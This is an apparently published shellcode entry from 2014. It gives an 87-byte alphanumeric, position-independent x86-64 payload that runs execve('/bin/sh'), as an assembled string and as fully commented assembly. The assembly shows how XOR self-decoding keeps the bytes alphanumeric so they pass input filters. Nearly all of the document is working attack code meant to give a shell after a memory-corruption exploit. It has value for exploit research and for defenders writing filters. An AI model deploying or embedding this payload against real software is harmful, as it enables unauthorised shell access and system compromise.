#Title: Position independent & Alphanumeric 64-bit execve("/bin/sh\0",NULL,NULL); (87 bytes)
#Author: Breaking.Technology
#Date: 06 November 2014
#Vendor Homepage: http://breaking.technology
#Version: x86-64 platforms
#Classification: 64 bit shellcode
#Shellcode: http://breaking.technology/shellcode/alpha64-binsh.txt
# Position independent & Alphanumeric 64-bit execve("/bin/sh\0",NULL,NULL); (87 bytes)
# This shellcode will successfully execute every time as long as it is returned to.
# (c) 2014 Breaking Technology, Inc.
# http://breaking.technology/
#
# Assembled (87 bytes):
# XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V
#
# Assembly:
# user@host $ as alpha64-binsh.s -o alpha64-binsh.o ; strings alpha64-binsh.o
.section .data
.section .text
.globl _start
_start: # "XX"
pop %rax # 'X' add $0x8, %rsp ; so we dont overwrite the return pointer
pop %rax # 'X' add $0x8, %rsp ; so we dont overwrite the return pointer
prepare_ff: # "j0TYX45Pk13"
push $0x30 # 'j0'
push %rsp # 'T'
pop %rcx # 'Y' %rcx points to $0x30
pop %rax # 'X' %rax = 0x30
xor $0x35, %al # '45' %rax = 0x05
push %rax # 'P' (%rcx) = 0x05
imul $0x33, (%rcx), %esi # 'k13' %esi = 0x000000ff
prepare_f8: # "VX4047"
# mov %rsi, %rax
push %rsi # 'V'
pop %rax # 'X' %rax = %rsi = 0x000000ff
# mov $0xf8, %al
xor $0x30, %al # '40'
xor $0x37, %al # '47' %rax = 0x000000f8
write_negative_8: # "3At1At1qu1qv1qw"
# mov %eax, 0x74(%rcx)
xor 0x74(%rcx), %eax # '3At'
xor %eax, 0x74(%rcx) # '1At' 0xf8
# mov %sil, 0x75 - 0x77 + rcx
xor %esi, 0x75(%rcx) # '1qu' 0xff
xor %esi, 0x76(%rcx) # '1qv' 0xff
xor %esi, 0x77(%rcx) # '1qw' 0xff
# -8 is now on the stack as a 32-bit dword
# at 0x74(%rcx)
read_negative_8: # "Hcyt"
# move long (dword) to signed quadword
# mov -8, %rdi
movslq 0x74(%rcx), %rdi # 'Hcyt' %rdi is now -0x8 ( 0xfffffffffffffff8 )
get_return_pointer: # "14yH34y"
# mov -0x10(%rcx), %rsi <--- THIS IS OUR RETURN POINTER / LOCATION OF short_pc_rsi
# OR IN DECIMAL:
# mov -16(%rcx), %rsi
xor %esi, (%rcx, %rdi, 2) # '14y'
xor (%rcx, %rdi, 2), %rsi # 'H34y'
prepare_key: # "hj5XVX"
# put the xor key into %eax
push $0x5658356a # 'hj5XV' pushed backwards because x86 stack.
pop %rax # 'X'
decode_encoded_code: # "1FK"
xor %eax, 0x4b(%rsi) # '1FK' encoded_code ; pops & syscall decoded
decode_encoded_data: # "1FSH3FO"
xor %eax, 0x53(%rsi) # '1FS' encoded_data + 4 ; "/sh\0" decoded
xor 0x4f(%rsi), %rax # 'H3FO' encoded_data ; "/bin/sh\0" now in %rax
begin_stack_setup: # "PT"
push %rax # 'P' push "/bin/sh\0"
push %rsp # 'T' push pointer to /bin/sh
zero_rax: # "j0X40"
# xor %rax, %rax
push $0x30 # 'j0'
pop %rax # 'X'
xor $0x30, %al # '40' %rax is NULL
end_stack_setup: # "PP"
push %rax # 'P' push NULL
push %rax # 'P' push NULL
mov_3b_al: # "4u4N"
# mov $0x3b, %al
xor $0x75, %al # '4u'
xor $0x4e, %al # '4N' %al = 0x4e xor 0x75 = $0x3b
# this is for syscall ^
begin_stack_run: # "Z"
pop %rdx # 'Z' mov $0x00, %rdx ; %rdx = NULL
encoded_code: # "4jWS"
# 0x34 0x6a 0x57 0x53
# AFTER XOR MAGIC:
.byte 0x34 # "\x5e" pop %rsi ; %rsi = NULL
.byte 0x6a # "\x5f" pop %rdi ; %rdi = pointer to "/bin/sh\0"
.byte 0x57 # "\x0f"
.byte 0x53 # "\x05" syscall ; execve("/bin/sh\0",NULL,NULL);
# syscall(%rax) = function(%rdi,%rsi,%rdx);
# syscall(0x3b) = execve("/bin/sh\0",NULL,NULL);
encoded_data: # "EW18EF0V" turns into "/bin/sh\0"
# 0x45 0x57 0x31 0x38 0x45 0x46 0x30 0x56
# AFTER XOR MAGIC:
.byte 0x45 # /
.byte 0x57 # b
.byte 0x31 # i
.byte 0x38 # n
.byte 0x45 # /
.byte 0x46 # s
.byte 0x30 # h
.byte 0x56 # \0
